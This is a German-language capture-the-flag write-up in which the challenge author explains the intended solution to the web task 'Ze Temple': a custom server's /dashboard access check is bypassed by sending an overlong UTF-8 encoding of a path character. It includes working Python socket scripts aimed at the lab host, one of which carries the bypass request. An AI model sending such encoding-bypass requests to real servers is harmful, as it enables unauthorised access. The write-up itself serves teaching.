Potsdam Cyber Games'25

Auch in diesem Jahr habe ich wieder eine Challenge für die Potsdam Cyber Games entworfen - die Web-Challenge Ze Temple. Leider gab es während der Laufzeit des CTFs keine erfolgreichen Einreichungen, daher hier ein Writeup zum Konzept und dem intendierten Lösungsweg.

Die Aufgabe

Aus der Challenge-Beschreibung von Ze Temple lernen wir, dass die Hackergruppe HexSwarm zur Administration ihres Botnets einen eigenen Webserver implementiert hat, welcher UTF-8 unterstützt. Das Ziel ist es, sich Zugang zu der Website unter /dashboard zu verschaffen.

Beim Versuch die Ressource aufzurufen, werden wir jedoch HTML-basiert auf /login umgeleitet und nach Zugangsdaten gefragt. Da wir keine Zugangsdaten haben und aus der Beschreibung hervorgeht, dass der Versuch diese zu raten aussichtslos ist, benötigen wir einen anderen Ansatz.

Ein Blick in den Quellcode der Website zeigt uns, dass das Stylesheet der Website auf einem ungewöhnlichen Pfad liegt:

            <link rel="stylesheet" href="/assets/💥.css">
          

Ein solcher Pfad sollte nach dem URI-RFC für einen HTTP-Server gar nicht möglich sein. URIs können normalerweise nur als ASCII kodiert werden, alle anderen Symbole müssen mit Percent-Encoding abgebildet werden.

UTF-8 URIs

Da wir schon den Hinweis erhalten haben, dass der Webserver UTF-8 unterstützt, können wir mit einem kleinen Python-Skript testen ob dies auch die URIs umfasst:

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("10.72.0.16", 7878))
sock.send(b"GET /assets/\xf0\x9f\x92\xa5.css HTTP/1.1\r\n\r\n")
response = sock.recv(16384)
print(response.decode())
sock.close()
          

Dieses Skript liefert tatsächlich den Inhalt des Stylesheets zurück. Damit lernen wir, dass der Webserver eigentlich ungültige UTF-8 URIs unterstützt.

Overlong Encodings

Beschäftigt man sich mit der Funktionsweise von UTF-8 und liest beispielsweise den dazugehörigen RFC oder Wikipedia-Artikel, stolpert man schnell über die Gefahren von Overlong Encodings: UTF-8 kodiert Zeichen mit variabler Länge, wobei der Bitprefix des ersten Bytes die Bitlänge des Zeichens bestimmt. Alle darauf folgenden Bytes desselben Zeichens beginnen anschließend mit der Bitfolge 10. 7-Bit ASCII-Zeichen werden beispielsweise direkt auf ein einzelnes UTF-8-Zeichen gemappt, indem sie den Bitpräfix 0 erhalten. Ein 2-Byte UTF-8-Zeichen hingegen hätte den Bitpräfix 110. Der Code Point, also die "Nummer" des tatsächlichen Zeichens ergibt sich jeweils aus den verbleibenden Bits ohne die Präfixe pro Byte.

Dieser Mechanismus ermöglicht die Mehrfachabbildung desselben Zeichens. Bei einem Overlong Encoding könnte beispielsweise ein 1-Byte ASCII-Zeichen mithilfe von zwei oder mehr UTF-8 Bytes dargestellt werden, indem die höheren Bits des Code Points des Zeichens mit Nullen aufgefüllt werden.

Die Schwachstelle

Overlong Encodings haben in der Vergangenheit auch zu verschiedenen Sicherheitslücken bei Webservern geführt, beispielsweise CVE-2000-0884, CVE-2008-2938, oder CVE-2004-2579. In all diesen Fällen konnten Access-Control-Mechanismen durch alternative Kodierungen umgangen werden, weil URIs als UTF-8 interpretiert wurden und dabei Overlong Encodings akzeptiert wurden.

Auch bei dieser Challenge liegt diese Schwachstelle vor: der Sicherheitsmechanismus zum Schutz der /dashboard-Route prüft nur auf die ASCII-Bytefolge und deckt andere Kodierungen nicht ab. Somit können wir mit der richtigen Anfrage auf das Dashboard zugreifen, indem wir beispielsweise das "d" in "dashboard" in zwei UTF-8-Bytes kodieren:

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("10.72.0.16", 7878))
sock.send(b"GET /\xc1\xa4ashboard HTTP/1.1\r\n\r\n")
response = sock.recv(16384)
print(response.decode())
sock.close()
          

Die HTML-Antwort enthält dabei das "Access Token" für das Botnetz - unsere Flagge:

<div class="widget">
  <h3>Access Token</h3>
  <p class="large-text teletype">PCG{C0NTR0L_ZE_TEMPLE::XXXXXXXXXXXX}</p>
</div>